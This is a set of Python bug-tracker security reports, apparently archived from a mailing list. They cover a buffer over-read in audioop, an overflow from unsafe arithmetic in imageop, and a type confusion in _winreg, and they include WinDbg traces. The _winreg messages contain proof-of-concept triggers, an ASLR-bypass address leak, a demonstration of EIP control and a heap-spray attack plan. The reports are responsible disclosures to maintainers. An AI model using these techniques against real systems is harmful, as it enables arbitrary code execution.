KERNEL32!BaseThreadInitThunk+0x24 0027ffdc 7799acea ntdll!__RtlUserThreadStart+0x2f 0027ffec ntdll!_RtlUserThreadStart+0x1b 0:000> To fix this issue, it is recommended that bounds checking be performed prior to accessing stepsizeTable. -- files: audioop.adpcm2lin_buffer_over-read.py messages: 245407 nosy: JohnLeitch priority: normal severity: normal status: open title: audioop.adpcm2lin Buffer Over-read type: security versions: Python 2.7 Added file: http://bugs.python.org/file39712/audioop.adpcm2lin_buffer_over-read.py ___ Python tracker <http://bugs.python.org/issue24456> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24264] imageop Unsafe Arithmetic
New submission from JohnLeitch: Several functions within the imageop module are vulnerable to exploitable buffer overflows due to unsafe arithmetic in check_multiply_size(). The problem exists because the check to confirm that size == product / y / x does not take remainders into account. static int check_multiply_size(int product, int x, const char* xname, int y, const char* yname, int size) { if ( !check_coordonnate(x, xname) ) return 0; if ( !check_coordonnate(y, yname) ) return 0; if ( size == (product / y) / x ) return 1; PyErr_SetString(ImageopError, "String has incorrect length"); return 0; } Consider a call to check_multiply_size() where product is 16, x is 1, and y is 9. In the Windows x86 release of Python 2.7.9, the division is performed using the idiv instruction: 0:000> dV product = 0n16 x = 0n1 xname = 0x1e1205a4 "x" y = 0n9 yname = 0x1e127ab8 "y" size = 0n1 0:000> u eip python27!check_multiply_size+0x25 [c:\build27\cpython\modules\imageop.c @ 53]: 1e0330e5 f7ffidiveax,edi 1e0330e7 99 cdq 1e0330e8 f7feidiveax,esi 1e0330ea 3944240ccmp dword ptr [esp+0Ch],eax 1e0330ee 7506jne python27!check_multiply_size+0x36 (1e0330f6) 1e0330f0 b80100 mov eax,1 1e0330f5 c3 ret 1e0330f6 8b15e47e241emov edx,dword ptr [python27!ImageopError (1e247ee4)] 0:000> ?eax Evaluate expression: 16 = 0010 0:000> ?edi Evaluate expression: 9 = 0009 When the first idiv instruction is executed, the result (eax) is 1 with a remainder of 7 (edx): 0:000> p eax=0001 ebx= ecx=1e127ab8 edx=0007 esi=0001 edi=0009 eip=1e0330e7 esp=0027fcec ebp=0001 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=0202 python27!check_multiply_size+0x27: 1e0330e7 99 cdq 0:000> ?eax Evaluate expression: 1 = 0001 0:000> ?edx Evaluate expression: 7 = 0007 Because size is 1, the check passes: Breakpoint 4 hit eax=0001 ebx= ecx=1e127ab8 edx= esi=0001 edi=0009 eip=1e0330f0 esp=0027fcec ebp=0001 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=0246 python27!check_multiply_size+0x30: 1e0330f0 b80100 mov eax,1 This is problematic because some of the imageop functions, such as grey2rgb, utilize check_multiply_size() to check divisibility prior to copying data into a buffer. Consider a call to grey2rgb where x is 1, y is 9, and len is 16. static PyObject * imageop_grey2rgb(PyObject *self, PyObject *args) { int x, y, len, nlen; <<<<<<<< x = 1, y = 9, and len = 16. unsigned char *cp; unsigned char *ncp; PyObject *rv; int i; unsigned char value; int backward_compatible = imageop_backward_compatible(); if ( !PyArg_ParseTuple(args, "s#ii", &cp, &len, &x, &y) ) return 0; if ( !check_multiply(len, x, y) ) <<<<<<<< 16 != 1 * 9, but this check still passes. return 0; nlen = x*y*4; <<<<<<<< 1 * 9 * 4 == 36. if ( !check_multiply_size(nlen, x, "x", y, "y", 4) ) return 0; rv = PyString_FromStringAndSize(NULL, nlen); <<<<<<<< This creates a buffer of length 36. if ( rv == 0 ) return 0; ncp = (unsigned char *)PyString_AsString(rv); <<<<<<<< This retrieves the buffer of length 36. for ( i=0; i < len; i++ ) { <<<<<<<< This loop assumes that len * 4 == nlen, which is incorrect in this case. value = *cp++; if (backward_compatible) { Each iteration copies 4 bytes into the 36 byte buffer pointed to by ncp and advances the pointer by 4. Because len is 16, 64 bytes are ultimately copied into the buffer, leading to an exploitable buffer overflow condition. * (Py_UInt32 *) ncp = (Py_UInt32) value | ((Py_UInt32) value << 8 ) | ((Py_UInt32) value << 16); ncp += 4; } else { *ncp++ = 0; *ncp++ = value; *ncp++ = value; *ncp++ = value; } } return rv; } When the call completes, memory has been corrupted: 0:000> g (12f4.640): Access violation - code c005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0044 ebx=0001 ecx=1e201d98 edx=00303030 esi=1e201d98 edi=1e201d98 eip=1e031fc6 esp=0027fe7c ebp=0002 iopl=0 nv up ei ng nz ac pe cy cs=0023 ss=002b ds=002b es=00
[issue24201] _winreg PyHKEY Type Confusion
JohnLeitch added the comment: Thank you again for the explanation of the internals at play here. Armed with the knowledge you provided, I conducted further experimentation, and I believe I can now demonstrate how EIP control is possible with this bug. Note that RPC initialization is not necessary, thus lowering the barrier to entry. First, it is possible to satisfy both magic number checks using a single buffer, and the predicted address of said buffer. This can be simulated with the following script: import _winreg test = "\x98\xba\xdc\xfe\xEF\xCD\xAB\x89" _winreg.QueryValueEx(0x41414141, 'test') A breakpoint is set at the first magic number check to give us an opportunity to patch up our buffer with the "predicted" addresses. Breakpoint 0 hit eax=41414140 ebx=0027fc2c ecx= edx= esi=753a3584 edi= eip=75469af3 esp=0027f79c ebp=0027f7c8 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=0246 RPCRT4!NDRCContextBinding+0x13: 75469af3 81780498badcfe cmp dword ptr [eax+4],0FEDCBA98h ds:002b:41414144=? ??? 0:000> s -b 0x0 L?0x7fff 41 41 41 41 98 ba dc fe 01ccc37c 41 41 41 41 98 ba dc fe-43 43 43 43 ef cd ab 89 0:000> r @eax=0x01ccc37c 0:000> ed eax eax+0x8 0:000> ed eax+0x8 eax+0xc 0:000> dc eax 01ccc37c 01ccc384 fedcba98 01ccc388 89abcdef 01ccc38c 45454545 46464646 47474747 48484848 01ccc39c 49494949 4a4a4a4a 4b4b4b4b 4c4c4c4c 01ccc3ac 4d4d4d4d 4e4e4e4e 4f4f4f4f 50505050 01ccc3bc 51515151 41414141 01ccab00 01cbe048 H... 01ccc3cc 01cbe070 01ccabe0 01cbe098 01cbe0c0 p... 01ccc3dc baadf000 01ccc548 1e228bf8 0062 H.".b... 01ccc3ec 72747320 6c6c6f63 strcoll 0:000> r eax=01ccc37c ebx=0027fc2c ecx= edx= esi=753a3584 edi= eip=75469af3 esp=0027f79c ebp=0027f7c8 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=0246 RPCRT4!NDRCContextBinding+0x13: 75469af3 81780498badcfe cmp dword ptr [eax+4],0FEDCBA98h ds:002b:01ccc380=f edcba98 While we patched up the buffer with two addresses, this is still viable through heap spraying because the second address is relative to the first. Continuing execution, we hit our second magic number check: 0:000> g Breakpoint 2 hit eax=e7fafcfb ebx=0027f7f8 ecx=009c edx=0001 esi=01ccc384 edi=01ccc384 eip=75472451 esp=0027f7ac ebp=0027f7c0 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=0206 RPCRT4!I_RpcGetBufferWithObject+0x21: 75472451 817e04efcdab89 cmp dword ptr [esi+4],89ABCDEFh ds:002b:01ccc388=89 abcdef 0:000> dc esi+4 01ccc388 89abcdef 45454545 46464646 47474747 01ccc398 48484848 49494949 4a4a4a4a 4b4b4b4b 01ccc3a8 4c4c4c4c 4d4d4d4d 4e4e4e4e 4f4f4f4f 01ccc3b8 50505050 51515151 41414141 01ccab00 01ccc3c8 01cbe048 01cbe070 01ccabe0 01cbe098 H...p... 01ccc3d8 01cbe0c0 baadf000 01ccc548 1e228bf8 H.". 01ccc3e8 0062 72747320 b... str 01ccc3f8 6c6c6f63 72747328 2c676e69 69727473 coll(string,stri All is well. When execution is continued, we achieve EIP control: 0:000> g (10d8.15a8): Access violation - code c005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=0027f7f8 ecx=01ccc384 edx=0001 esi=01ccc384 edi=0040 eip=41414141 esp=0027f79c ebp=0027f7c0 iopl=0 nv up ei ng nz na pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287 41414141 ?? ??? Apologies for the messy memory editing; there's probably a more Pythonic way of patching the buffer. And, of course, I believe it to be possible to achieve this via heap spraying, without any patching at all. Given this, I think exploitation in the real world is possible with two primitives: heap spraying and hkey value control. A web application, for example, might offer an attacker both of these primitives, while at the same time reasonably expecting arbitrary code execution to be prohibited. -- ___ Python tracker <http://bugs.python.org/issue24201> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24201] _winreg PyHKEY Type Confusion
JohnLeitch added the comment: Thank you for taking the time to peruse my report and explain the behavior I observed. My understanding of Windows RPC internals is lacking, and perhaps I jumped the gun upon catching an AV while fuzzing. That said, after poking around to better understand the matter, I discovered a few things: 1) There are code paths where it is possible to trigger an unhandled access violation: 0:000> g (11a0.d54): Access violation - code c005 (!!! second chance !!!) eax=60dad396 ebx= ecx= edx= esi=00a0 edi=00a0 eip=776f1037 esp=0027f790 ebp=0027f80c iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216 ntdll!RtlAllocateHeap+0x17: 776f1037 8b4344 mov eax,dword ptr [ebx+44h] ds:002b:0044=?? ?? 0:000> k ChildEBP RetAddr 0027f80c 75471731 ntdll!RtlAllocateHeap+0x17 0027f82c 75479616 RPCRT4!AllocWrapper+0x2d 0027f840 75479791 RPCRT4!ThreadSelfHelper+0x16 0027f848 754f6b2a RPCRT4!ThreadSelf+0x18 0027fc74 753a5d94 RPCRT4!NdrClientCall2+0x13a 0027fc8c 7539f48b ADVAPI32!BaseRegGetVersion+0x24 0027fce4 7538dfce ADVAPI32!RegDeleteKeyW+0x14aeb 0027fd00 1e0de533 ADVAPI32!RegDeleteKeyA+0x2e 0027fd18 1e0aafd7 python27!PyDeleteKey+0x53 0027fd30 1e0edd10 python27!PyCFunction_Call+0x47 0027fd5c 1e0f017a python27!call_function+0x2b0 0027fdcc 1e0f1150 python27!PyEval_EvalFrameEx+0x239a 0027fe00 1e0f11b2 python27!PyEval_EvalCodeEx+0x690 0027fe2c 1e11707a python27!PyEval_EvalCode+0x22 0027fe44 1e1181c5 python27!run_mod+0x2a 0027fe64 1e118760 python27!PyRun_FileExFlags+0x75 0027fea4 1e1190d9 python27!PyRun_SimpleFileExFlags+0x190 0027fec0 1e038d35 python27!PyRun_AnyFileExFlags+0x59 0027ff3c 1d00116d python27!Py_Main+0x965 0027ff80 75967c04 python!__tmainCRTStartup+0x10f 0027ff94 7770ad1f KERNEL32!BaseThreadInitThunk+0x24 0027ffdc 7770acea ntdll!__RtlUserThreadStart+0x2f 0027ffec ntdll!_RtlUserThreadStart+0x1b 0:000> This doesn't appear to be outright exploitable for anything beyond DoS, but it does crash the process. 2) Assuming attacker control of the hkey parameter to a _winreg call, I believe it would be possible to leverage the RPC signature check to disclose the location of valid memory such as the RPC module itself, thereby bypassing ASLR. >>> import _winreg >>> _winreg.DeleteKey(0x75469AF1, '') Traceback (most recent call last): File "", line 1, in _winreg.DeleteKey(0x75469AF1, '') WindowsError: [Error 6] The handle is invalid >>> _winreg.DeleteKey(0x75469AF3, '') >>> RESTART >>> 0:000> dd 0x75469AF3 75469af3 98047881 0ffedcba 01d9a085 fc45c700 75469b03 fffe 8fe8008b c2a2 9094 75469b13 90909090 fe90 00ff d400 75469b23 00ff fe00 49d901ff 49d92575 75469b33 06f76875 b2e8 8b000161 47c7e845 75469b43 003c 50478900 00a661e9 09be0f00 75469b53 00a649e9 06f76800 8ee8 68000161 75469b63 06e6 016184e8 90909000 499e5190 0:000> !address 0x75469AF3 Usage: Image Base Address: 75451000 End Address:754fa000 Region Size:000a9000 State: 1000MEM_COMMIT Protect:0020PAGE_EXECUTE_READ Type: 0100MEM_IMAGE Allocation Base:7545 Allocation Protect: 0080PAGE_EXECUTE_WRITECOPY Image Path: C:\WINDOWS\SysWOW64\RPCRT4.dll Module Name:RPCRT4 Loaded Image Name: C:\WINDOWS\SYSTEM32\RPCRT4.dll Mapped Image Name: More info: lmv m RPCRT4 More info: !lmi RPCRT4 More info: ln 0x75469af3 More info: !dh 0x7545 3) Finally, I still suspect it may be possible to achieve memory corruption with this bug, but cannot verify without a better understanding of the structures at play and further analysis. The hypothetical attack goes like this: a) The attacker sprays memory with carefully constructed buffers containing the expected magic numbers at the correct offsets. b) Once memory has been sufficiently sprayed, the attacker triggers the bug with an hkey value that is actually an address predicted to be one of the sprayed structures. c) While working with the attacker controlled buffer, RPC inadvertently corrupts memory. Step C is, of course, dependent on what what fields are available in the structure, and what RPC does with them. Unfortunately I can't find any relevant documentation or code, but in my testing I was able to force different code paths. Some look fruitful, but determining whether they're reachable would be costly time-wise, and it's a bit of a moot point because we're talking about Microsoft's internal implementation, which could change at any point, altering exploit
[issue24201] _winreg PyHKEY Type Confusion
New submission from JohnLeitch: The Python _winreg module suffers from a type confusion vulnerability wherein pointers can be passed directly in place of PyHKEY instances e.g. _winreg.QueryValue(0x41414141, "") This behavior is due to the underlying PyHKEY_AsHKEY function of _winreg.c: BOOL PyHKEY_AsHKEY(PyObject *ob, HKEY *pHANDLE, BOOL bNoneOK) { if (ob == Py_None) { if (!bNoneOK) { PyErr_SetString( PyExc_TypeError, "None is not a valid HKEY in this context"); return FALSE; } *pHANDLE = (HKEY)0; } else if (PyHKEY_Check(ob)) { PyHKEYObject *pH = (PyHKEYObject *)ob; *pHANDLE = pH->hkey; } else if (PyInt_Check(ob) || PyLong_Check(ob)) { <<<<<< if ob is an int/long, this path is taken. /* We also support integers */ PyErr_Clear(); *pHANDLE = (HKEY)PyLong_AsVoidPtr(ob); <<<<<< ob is casted to a void* here if (PyErr_Occurred()) return FALSE; } else { PyErr_SetString( PyExc_TypeError, "The object is not a PyHKEY object"); return FALSE; } return TRUE; } When *ob is an integer or long, the function casts it to a void*. This behavior can be triggered using many of the _winreg functions, such as QueryValue, QueryValueEx, EnumValue, etc. 0:000> r eax=41414140 ebx=0027fbc8 ecx= edx= esi=770e351e edi= eip=74bf9af3 esp=0027f738 ebp=0027f764 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 RPCRT4!NDRCContextBinding+0x13: 74bf9af3 81780498badcfe cmp dword ptr [eax+4],0FEDCBA98h ds:002b:41414144= 0:000> k ChildEBP RetAddr 0027f764 74c0390c RPCRT4!NDRCContextBinding+0x13 0027f774 74c86dce RPCRT4!ExplicitBindHandleMgr+0x33 0027fba8 770e625c RPCRT4!NdrClientCall2+0x2ea 0027fbc0 771041e2 ADVAPI32!SafeBaseRegQueryInfoKey+0x24 0027fc04 76eacdca ADVAPI32!RemoteRegQueryInfoKeyWrapper+0x42 0027fcbc 1e0de85c KERNELBASE!LocalOpenPerformanceText+0x1c60 0027fd14 1e0ac6fc python27!PyEnumValue+0x6c [c:\build27\cpython\pc\_winreg.c @ 1213] 0027fd58 1e0efabf python27!_PyObject_GenericGetAttrWithDict+0x12c [c:\build27\cpython\objects\object.c @ 1428] 0027fde8 1e0f27eb python27!PyEval_EvalFrameEx+0x1cdf [c:\build27\cpython\python\ceval.c @ 2269] 0027fe00 1e0f11b2 python27!compiler_free+0x3b [c:\build27\cpython\python\compile.c @ 322] 0027fe2c 1e11707a python27!PyEval_EvalCode+0x22 [c:\build27\cpython\python\ceval.c @ 672] 0027fe44 1e1181c5 python27!run_mod+0x2a [c:\build27\cpython\python\pythonrun.c @ 1371] 0027fe64 1e118760 python27!PyRun_FileExFlags+0x75 [c:\build27\cpython\python\pythonrun.c @ 1358] 0027fea4 1e1190d9 python27!PyRun_SimpleFileExFlags+0x190 [c:\build27\cpython\python\pythonrun.c @ 950] 0027fec0 1e038d35 python27!PyRun_AnyFileExFlags+0x59 [c:\build27\cpython\python\pythonrun.c @ 753] 0027ff3c 1d00116d python27!Py_Main+0x965 [c:\build27\cpython\modules\main.c @ 643] 0027ff80 74d57c04 python!__tmainCRTStartup+0x10f [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 586] 0027ff94 7741ad1f KERNEL32!BaseThreadInitThunk+0x24 0027ffdc 7741acea ntdll!__RtlUserThreadStart+0x2f 0027ffec ntdll!_RtlUserThreadStart+0x1b 0:000> !analyze -v *** * * *Exception Analysis * * * *** FAULTING_IP: RPCRT4!NDRCContextBinding+13 74bf9af3 81780498badcfe cmp dword ptr [eax+4],0FEDCBA98h EXCEPTION_RECORD: -- (.exr 0x) ExceptionAddress: 74bf9af3 (RPCRT4!NDRCContextBinding+0x0013) ExceptionCode: c005 (Access violation) ExceptionFlags: NumberParameters: 2 Parameter[0]: Parameter[1]: 41414144 Attempt to read from address 41414144 CONTEXT: -- (.cxr 0x0;r) eax=41414140 ebx=0027fbc8 ecx= edx= esi=770e351e edi= eip=74bf9af3 esp=0027f738 ebp=0027f764 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 RPCRT4!NDRCContextBinding+0x13: 74bf9af3 81780498badcfe cmp dword ptr [eax+4],0FEDCBA98h ds:002b:41414144= FAULTING_THREAD: 0274 DEFAULT_BUCKET_ID: INVALID_POINTER_READ PROCESS_NAME: python.exe ERROR_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_P